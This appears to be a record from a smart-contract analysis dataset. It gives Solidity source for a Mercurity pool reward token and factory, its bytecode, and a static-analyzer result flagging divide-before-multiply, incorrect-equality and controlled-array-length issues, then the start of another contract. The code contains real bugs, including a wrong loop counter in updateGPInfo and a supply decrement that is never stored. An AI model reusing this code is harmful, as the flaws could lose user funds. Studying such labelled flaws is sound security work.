function getBalance(address token) external view returns (uint);
function setSwapFee(uint swapFee) external;
function setController(address controller) external;
function setPublicSwap(bool public_) external;
function finalize() external;
function bind(address token, uint balance, uint denorm) external;
function rebind(address token, uint balance, uint denorm) external;
function unbind(address token) external;
function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn) external;
function joinswapExternAmountIn(
address tokenIn, uint tokenAmountIn, uint minPoolAmountOut
) external returns (uint poolAmountOut);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract PairERC20 is IERC20 {
using SafeMath for uint;
string public constant name = 'Mercurity Pair Token';
string public constant symbol = 'MPT';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function _mint(uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[address(this)] = balanceOf[address(this)].add(value);
emit Transfer(address(0), address(this), value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
require(balanceOf[from] >= value, "ERR_INSUFFICIENT_BAL");
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function _move(address from, address to, uint value) internal {
_transfer(from, to, value);
}
}
contract PairToken is PairERC20 {
using SafeMath for uint256;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens or gp amount the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Controller.
address private _controller;
// Pair tokens created per block.
uint256 private _pairPerBlock;
// Set gp share reward rate 0%~15%
uint256 private _gpRate;
// Pool contract
IMPool private _pool;
// Info of each gp.
address[] private _gpInfo;
// Info of each user that stakes LP shares;
mapping(address => UserInfo) public lpInfoList;
// Info of each user that stakes GP shares;
mapping(address => UserInfo) public gpInfoList;
uint256 private _endBlock;
uint256 public _totalGpSupply;
uint256 public _totalLpSupply;
// Pool Status
uint256 public _poolLastRewardBlock;
uint256 public _poolAccPairPerShare;
uint256 public _poolAccPairGpPerShare;
event Deposit(bool isGp, address indexed user, uint256 amount);
event Withdraw(bool isGp, address indexed user, uint256 amount);
constructor(
address pool,
uint256 pairPerBlock,
uint256 rate
) public {
_pool = IMPool(pool);
_controller = msg.sender;
_pairPerBlock = pairPerBlock;
_endBlock = block.number.add(12500000);
_poolLastRewardBlock = block.number;
require(rate < 100, "ERR_OVER_MAXIMUM");
_gpRate = rate;
}
function isGeneralPartner(address _user)
external view
returns (bool) {
return gpInfoList[_user].amount > 0;
}
// View function to see pending Pairs on frontend.
function pendingPair(bool gpReward, address _user) external view returns (uint256) {
UserInfo storage user = gpReward ? gpInfoList[_user] : lpInfoList[_user];
if (user.amount == 0) {return 0;}
uint256 rate = gpReward ? _gpRate : 100 - _gpRate;
uint256 accPerShare = gpReward ? _poolAccPairGpPerShare: _poolAccPairPerShare ;
uint256 lpSupply = gpReward? _totalGpSupply: _totalLpSupply;
if (block.number > _poolLastRewardBlock && lpSupply != 0) {
uint256 blockNum = block.number.sub(_poolLastRewardBlock);
uint256 pairReward = blockNum.mul(_pairPerBlock);
if (_gpRate > 0) {
pairReward = pairReward.mul(rate).div(100);
}
accPerShare = accPerShare.add(pairReward.mul(1e12)).div(lpSupply);
}
return user.amount.mul(accPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward variables of the given user to be up-to-date.
function updatePool() public {
if (block.number <= _poolLastRewardBlock) {return;}
if (_totalLpSupply == 0) {
_poolLastRewardBlock = block.number;
return;
}
if (_poolLastRewardBlock == _endBlock) {return;}
uint256 blockNum;
if (block.number < _endBlock) {
blockNum = block.number.sub(_poolLastRewardBlock);
_poolLastRewardBlock = block.number;
} else {
blockNum = _endBlock.sub(_poolLastRewardBlock);
_poolLastRewardBlock = _endBlock;
}
uint256 pairReward = blockNum.mul(_pairPerBlock);
_mint(pairReward);
uint256 lpPairReward;
if (_gpRate == 0) {
lpPairReward = pairReward;
} else {
uint256 gpReward = pairReward.mul(_gpRate).div(100);
_poolAccPairGpPerShare = _poolAccPairGpPerShare.add(gpReward.mul(1e12).div(_totalGpSupply));
lpPairReward = pairReward.sub(gpReward);
}
_poolAccPairPerShare = _poolAccPairPerShare.add(lpPairReward.mul(1e12).div(_totalLpSupply));
}
// add liquidity LP tokens to PairBar for Pair allocation.
function addLiquidity(bool isGp, address _user, uint256 _amount) external {
require(msg.sender == address(_pool), "ERR_POOL_ONLY");
_addLiquidity(isGp, _user, _amount);
}
function _addLiquidity(bool isGp, address _user, uint256 _amount) internal {
UserInfo storage user = isGp ? gpInfoList[_user] : lpInfoList[_user];
if (isGp) { require(_gpRate > 0, "ERR_NO_GP_SHARE_REMAIN"); }
updatePool();
uint256 accPerShare = isGp ? _poolAccPairGpPerShare: _poolAccPairPerShare ;
if (user.amount > 0) {
uint256 pending = user.amount.mul(accPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
_move(address(this), _user, pending);
}
}
if (_amount > 0) {
user.amount = user.amount.add(_amount);
if (isGp) {
_totalGpSupply += _amount;
} else {
_totalLpSupply += _amount;
}
emit Deposit(isGp, _user, _amount);
}
user.rewardDebt = user.amount.mul(accPerShare).div(1e12);
}
function claimPair(bool isGp, address _user) external {
UserInfo storage user = isGp ? gpInfoList[_user] : lpInfoList[_user];
if (isGp) { require(_gpRate > 0, "ERR_NO_GP_SHARE_REMAIN"); }
updatePool();
uint256 accPerShare = isGp ? _poolAccPairGpPerShare: _poolAccPairPerShare ;
if (user.amount > 0) {
uint256 pending = user.amount.mul(accPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
_move(address(this), _user, pending);
}
}
user.rewardDebt = user.amount.mul(accPerShare).div(1e12);
return;
}
// remove liquidity LP tokens from PairBar.
function removeLiquidity(bool isGp, address _user, uint256 _amount) external {
require(msg.sender == address(_pool), "ERR_POOL_ONLY");
_removeLiquidity(isGp, _user, _amount);
}
function _removeLiquidity(bool isGp, address _user, uint256 _amount) internal {
UserInfo storage user = isGp ? gpInfoList[_user] : lpInfoList[_user];
require(user.amount >= _amount, "ERR_UNDER_WITHDRAW_AMOUNT_LIMIT");
updatePool();
uint256 accPerShare = isGp ? _poolAccPairGpPerShare : _poolAccPairPerShare;
uint256 totalSupply = isGp ? _totalGpSupply: _totalLpSupply ;
uint256 pending = user.amount.mul(accPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
_move(address(this), _user, pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
totalSupply -= _amount;
emit Withdraw(isGp, _user, _amount);
}
user.rewardDebt = user.amount.mul(accPerShare).div(1e12);
}
function updateGPInfo(address[] calldata gps, uint256[] calldata amounts) external {
require(msg.sender == address(_pool), "ERR_POOL_ONLY");
require(_gpRate > 0, "ERR_NO_GP_SHARE_REMAIN");
require(gps.length == amounts.length, "ERR_INVALID_PARAM");
// init setup
if (_totalGpSupply == 0) {
for (uint i = 0; i < gps.length; i++) {
UserInfo memory user = gpInfoList[gps[i]];
if (user.amount == 0) {
_totalGpSupply += amounts[i];
_gpInfo.push(gps[i]);
}
}
for (uint i = 0; i < gps.length; i++) {
_addLiquidity(true, gps[i], amounts[i]);
}
return;
}
for (uint i = 0; i < gps.length; i++) {
if (gps[i] == address(0)) {
continue;
}
UserInfo memory user = gpInfoList[gps[i]];
// add new gp
if (user.amount == 0) {
_totalGpSupply += amounts[i];
_addLiquidity(true, gps[i], amounts[i]);
_gpInfo.push(gps[i]);
}else if (user.amount > amounts[i]) {
uint256 shareChange = user.amount.sub(amounts[i]);
_totalGpSupply -= shareChange;
_removeLiquidity(true, gps[i], shareChange);
}else if (user.amount < amounts[i]) {
uint256 shareChange = amounts[i].sub(user.amount);
_totalGpSupply += shareChange;
_addLiquidity(true, gps[i], shareChange);
}
}
// filter gpInfo find out which gp need to remove
for (uint i = 0; i < _gpInfo.length; i++) {
bool needRemove = true;
for (uint j = 0; j < gps.length; i++) {
if (gps[i] == _gpInfo[j]) {
needRemove = false;
}
}
if (needRemove) {
UserInfo memory user = gpInfoList[gps[i]];
_removeLiquidity(true, gps[i], user.amount);
_totalGpSupply -= user.amount;
}
}
}
function setController(address controller) public {
require(msg.sender == _controller, "ERR_CONTROLLER_ONLY");
_controller = controller;
}
}
contract PairFactory {
address private _controller;
mapping(address => address) private _hasPair;
constructor() public {
_controller = msg.sender;
}
function newPair(address pool, uint256 perBlock, uint256 rate)
external
returns (PairToken pair)
{
require(_hasPair[address(pool)] == address(0), "ERR_ALREADY_HAS_PAIR");
pair = new PairToken(pool, perBlock, rate);
_hasPair[address(pool)] = address(pair);
pair.setController(msg.sender);
return pair;
}
function getPairToken(address pool)
external view
returns (address)
{
return _hasPair[pool];
}
}
|
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80631ad0b78c1461003b57806371c59d7b14610089575b600080fd5b61006d6004803603606081101561005157600080fd5b506001600160a01b0381351690602081013590604001356100af565b604080516001600160a01b039092168252519081900360200190f35b61006d6004803603602081101561009f57600080fd5b50356001600160a01b03166101ea565b6001600160a01b0383811660009081526001602052604081205490911615610115576040805162461bcd60e51b815260206004820152601460248201527322a9292fa0a62922a0a22cafa420a9afa820a4a960611b604482015290519081900360640190fd5b83838360405161012490610208565b6001600160a01b03909316835260208301919091526040808301919091525190819003606001906000f080158015610160573d6000803e3d6000fd5b506001600160a01b0385811660009081526001602052604080822080546001600160a01b031916938516938417905580516392eefe9b60e01b8152336004820152905193945091926392eefe9b92602480820193929182900301818387803b1580156101cb57600080fd5b505af11580156101df573d6000803e3d6000fd5b505050509392505050565b6001600160a01b039081166000908152600160205260409020541690565b611b80806102168339019056fe608060405234801561001057600080fd5b5060405162001b8038038062001b808339818101604052606081101561003557600080fd5b508051602080830151604090930151600680546001600160a01b0385166001600160a01b031991821617909155600380549091163317905560048490559192919061008e90439062bebc209061146261010f821b17901c565b600a5543600d556064811061010457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4552525f4f5645525f4d4158494d554d00000000000000000000000000000000604482015290519081900360640190fd5b6005555061018a9050565b60008282018381101561018357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6119e6806200019a6000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c806392eefe9b116100c3578063d28e218e1161007c578063d28e218e1461041f578063dd62ed3e146104e1578063e3161ddd1461050f578063e54c823414610517578063fd3f24f11461054b578063fd5de1f51461055357610158565b806392eefe9b1461032c57806395d89b4114610352578063a9059cbb1461035a578063aaab6a7414610386578063cd39e418146103c5578063cf33fc29146103eb57610158565b8063313ce56711610115578063313ce567146102a25780634d1bccb9146102c0578063519defce146102ee57806360f44861146102f657806370a08231146102fe5780638bc71ce11461032457610158565b806306fdde031461015d578063095ea7b3146101da57806318160ddd1461021a5780631f68c4831461023457806322a44ed71461023c57806323b872dd1461026c575b600080fd5b610165610579565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610206600480360360408110156101f057600080fd5b506001600160a01b0381351690602001356105a9565b604080519115158252519081900360200190f35b6102226105c0565b60408051918252519081900360200190f35b6102226105c6565b61026a6004803603604081101561025257600080fd5b508035151590602001356001600160a01b03166105cc565b005b6102066004803603606081101561028257600080fd5b506001600160a01b03813581169160208101359091169060400135610708565b6102aa6107a2565b6040805160ff9092168252519081900360200190f35b610222600480360360408110156102d657600080fd5b508035151590602001356001600160a01b03166107a7565b610222610903565b610222610909565b6102226004803603602081101561031457600080fd5b50356001600160a01b031661090f565b610222610921565b61026a6004803603602081101561034257600080fd5b50356001600160a01b0316610927565b61016561099e565b6102066004803603604081101561037057600080fd5b506001600160a01b0381351690602001356109bd565b6103ac6004803603602081101561039c57600080fd5b50356001600160a01b03166109ca565b6040805192835260208301919091528051918290030190f35b610206600480360360208110156103db57600080fd5b50356001600160a01b03166109e3565b61026a6004803603606081101561040157600080fd5b5080351515906001600160a01b036020820135169060400135610a00565b61026a6004803603604081101561043557600080fd5b81019060208101813564010000000081111561045057600080fd5b82018360208201111561046257600080fd5b8035906020019184602083028401116401000000008311171561048457600080fd5b9193909290916020810190356401000000008111156104a257600080fd5b8201836020820111156104b457600080fd5b803590602001918460208302840111640100000000831117156104d657600080fd5b509092509050610a5f565b610222600480360360408110156104f757600080fd5b506001600160a01b0381358116916020013516611016565b61026a611033565b61026a6004803603606081101561052d57600080fd5b5080351515906001600160a01b03602082013516906040013561117e565b6102226111d8565b6103ac6004803603602081101561056957600080fd5b50356001600160a01b03166111de565b6040518060400160405280601481526020017326b2b931bab934ba3c902830b4b9102a37b5b2b760611b81525081565b60006105b63384846111f7565b5060015b92915050565b60005481565b600b5481565b6000826105f0576001600160a01b0382166000908152600860205260409020610609565b6001600160a01b03821660009081526009602052604090205b9050821561066157600060055411610661576040805162461bcd60e51b815260206004820152601660248201527522a9292fa727afa3a82fa9a420a922afa922a6a0a4a760511b604482015290519081900360640190fd5b610669611033565b60008361067857600e5461067c565b600f545b8254909150156106dd5760006106c883600101546106bc64e8d4a510006106b086886000015461125990919063ffffffff16565b9063ffffffff6112b916565b9063ffffffff6112fb16565b905080156106db576106db30858361133d565b505b81546106fa9064e8d4a51000906106b0908463ffffffff61125916565b826001018190555050505050565b6001600160a01b03831660009081526002602090815260408083203384529091528120546000191461078d576001600160a01b0384166000908152600260209081526040808320338452909152902054610768908363ffffffff6112fb16565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b610798848484611344565b5060019392505050565b601281565b600080836107cc576001600160a01b03831660009081526008602052604090206107e5565b6001600160a01b03831660009081526009602052604090205b80549091506107f85760009150506105ba565b60008461080a5760055460640361080e565b6005545b905060008561081f57600e54610823565b600f545b905060008661083457600c54610838565b600b545b9050600d544311801561084a57508015155b156108d0576000610866600d54436112fb90919063ffffffff16565b9050600061087f6004548361125990919063ffffffff16565b600554909150156108a25761089f60646106b0838863ffffffff61125916565b90505b6108cb836106b06108be8464e8d4a5100063ffffffff61125916565b879063ffffffff61146216565b935050505b6108f884600101546106bc64e8d4a510006106b086896000015461125990919063ffffffff16565b979650505050505050565b600d5481565b600c5481565b60016020526000908152604090205481565b600f5481565b6003546001600160a01b0316331461097c576040805162461bcd60e51b81526020600482015260136024820152724552525f434f4e54524f4c4c45525f4f4e4c5960681b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6040518060400160405280600381526020016213541560ea1b81525081565b60006105b6338484611344565b6009602052600090815260409020805460019091015482565b6001600160a01b0316600090815260096020526040902054151590565b6006546001600160a01b03163314610a4f576040805162461bcd60e51b815260206004820152600d60248201526c4552525f504f4f4c5f4f4e4c5960981b604482015290519081900360640190fd5b610a5a8383836114bc565b505050565b6006546001600160a01b03163314610aae576040805162461bcd60e51b815260206004820152600d60248201526c4552525f504f4f4c5f4f4e4c5960981b604482015290519081900360640190fd5b600060055411610afe576040805162461bcd60e51b815260206004820152601660248201527522a9292fa727afa3a82fa9a420a922afa922a6a0a4a760511b604482015290519081900360640190fd5b828114610b46576040805162461bcd60e51b81526020600482015260116024820152704552525f494e56414c49445f504152414d60781b604482015290519081900360640190fd5b600b54610c945760005b83811015610c4157610b60611976565b60096000878785818110610b7057fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050806000015160001415610c3857838383818110610bda57fe5b600b80546020909202939093013501909155506007868684818110610bfb57fe5b835460018101855560009485526020948590200180546001600160a01b0319166001600160a01b0395909202939093013593909316929092179055505b50600101610b50565b5060005b83811015610c8e57610c866001868684818110610c5e57fe5b905060200201356001600160a01b0316858585818110610c7a57fe5b905060200201356114bc565b600101610c45565b50611010565b60005b83811015610ee6576000858583818110610cad57fe5b905060200201356001600160a01b03166001600160a01b03161415610cd157610ede565b610cd9611976565b60096000878785818110610ce957fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050806000015160001415610de257838383818110610d5357fe5b600b8054602090920293909301350190915550610d936001878785818110610d7757fe5b905060200201356001600160a01b0316868686818110610c7a57fe5b6007868684818110610da157fe5b835460018101855560009485526020948590200180546001600160a01b0319166001600160a01b039590920293909301359390931692909217905550610edc565b838383818110610dee57fe5b9050602002013581600001511115610e60576000610e28858585818110610e1157fe5b85519260209091020135905063ffffffff6112fb16565b600b805482900390559050610e5a6001888886818110610e4457fe5b905060200201356001600160a01b03168361165d565b50610edc565b838383818110610e6c57fe5b9050602002013581600001511015610edc576000610ea98260000151868686818110610e9457fe5b905060200201356112fb90919063ffffffff16565b600b8054820190559050610eda6001888886818110610ec457fe5b905060200201356001600160a01b0316836114bc565b505b505b600101610c97565b5060005b60075481101561100e57600160005b85811015610f5e5760078181548110610f0e57fe5b6000918252602090912001546001600160a01b0316878785818110610f2f57fe5b905060200201356001600160a01b03166001600160a01b03161415610f5357600091505b600190920191610ef9565b50801561100557610f6d611976565b60096000888886818110610f7d57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050610ff96001888886818110610fdf57fe5b905060200201356001600160a01b0316836000015161165d565b51600b80549190910390555b50600101610eea565b505b50505050565b600260209081526000928352604080842090915290825290205481565b600d5443116110415761117c565b600c546110515743600d5561117c565b600a54600d5414156110625761117c565b6000600a5443101561108d57600d5461108290439063ffffffff6112fb16565b43600d5590506110ab565b600d54600a546110a29163ffffffff6112fb16565b600a54600d5590505b60006110c26004548361125990919063ffffffff16565b90506110cd816117f7565b6000600554600014156110e1575080611146565b60006110fd60646106b06005548661125990919063ffffffff16565b905061112f611120600b546106b064e8d4a510008561125990919063ffffffff16565b600f549063ffffffff61146216565b600f55611142838263ffffffff6112fb16565b9150505b600c5461117590611166906106b08464e8d4a5100063ffffffff61125916565b600e549063ffffffff61146216565b600e555050505b565b6006546001600160a01b031633146111cd576040805162461bcd60e51b815260206004820152600d60248201526c4552525f504f4f4c5f4f4e4c5960981b604482015290519081900360640190fd5b610a5a83838361165d565b600e5481565b6008602052600090815260409020805460019091015482565b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600082611268575060006105ba565b8282028284828161127557fe5b04146112b25760405162461bcd60e51b81526004018080602001828103825260218152602001806119916021913960400191505060405180910390fd5b9392505050565b60006112b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061187a565b60006112b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061191c565b610a5a8383835b6001600160a01b0383166000908152600160205260409020548111156113a8576040805162461bcd60e51b815260206004820152601460248201527311549497d25394d551919250d251539517d0905360621b604482015290519081900360640190fd5b6001600160a01b0383166000908152600160205260409020546113d1908263ffffffff6112fb16565b6001600160a01b038085166000908152600160205260408082209390935590841681522054611406908263ffffffff61146216565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000828201838110156112b2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000836114e0576001600160a01b03831660009081526008602052604090206114f9565b6001600160a01b03831660009081526009602052604090205b9050831561155157600060055411611551576040805162461bcd60e51b815260206004820152601660248201527522a9292fa727afa3a82fa9a420a922afa922a6a0a4a760511b604482015290519081900360640190fd5b611559611033565b60008461156857600e5461156c565b600f545b8254909150156115b55760006115a083600101546106bc64e8d4a510006106b086886000015461125990919063ffffffff16565b905080156115b3576115b330868361133d565b505b82156116315781546115cd908463ffffffff61146216565b825584156115e257600b8054840190556115eb565b600c8054840190555b6040805186151581526020810185905281516001600160a01b038716927fbb923fc4db468afb79d2c63dac757022d536efbd65af7a9b7a5d6ed328393306928290030190a25b815461164e9064e8d4a51000906106b0908463ffffffff61125916565b82600101819055505050505050565b600083611681576001600160a01b038316600090815260086020526040902061169a565b6001600160a01b03831660009081526009602052604090205b905081816000015410156116f5576040805162461bcd60e51b815260206004820152601f60248201527f4552525f554e4445525f57495448445241575f414d4f554e545f4c494d495400604482015290519081900360640190fd5b6116fd611033565b60008461170c57600e54611710565b600f545b905060008561172157600c54611725565b600b545b9050600061175184600101546106bc64e8d4a510006106b087896000015461125990919063ffffffff16565b905080156117645761176430878361133d565b84156117c957835461177c908663ffffffff6112fb16565b845560408051881515815260208101879052815193879003936001600160a01b038916927f171a466754afbbdce4dc1ab85f822d6767825c31a83b1113cc18bc97ddbfed22928290030190a25b83546117e69064e8d4a51000906106b0908663ffffffff61125916565b846001018190555050505050505050565b60005461180a908263ffffffff61146216565b60009081553081526001602052604090205461182c908263ffffffff61146216565b3060008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350565b600081836119065760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118cb5781810151838201526020016118b3565b50505050905090810190601f1680156118f85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161191257fe5b0495945050505050565b6000818484111561196e5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156118cb5781810151838201526020016118b3565b505050900390565b60405180604001604052806000815260200160008152509056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723158208045cfccb216dedb0de7fd1def4ad32c30c924d5e7c71e31e7881a857ad00ed664736f6c634300050c0032a265627a7a72315820b47e26df21e569f74b71c2911dbedaea1c3271a11e7b5151bccaac4ac3b4e26864736f6c634300050c0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,740 |
0xFf4a6b38749c931B8F376d60515b81135aD5E464
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract Governance is ReentrancyGuard {
uint constant public governance_challenging_period = 10 days;
uint constant public governance_freeze_period = 30 days;
address public votingTokenAddress;
address public governedContractAddress;
mapping(address => uint) public balances;
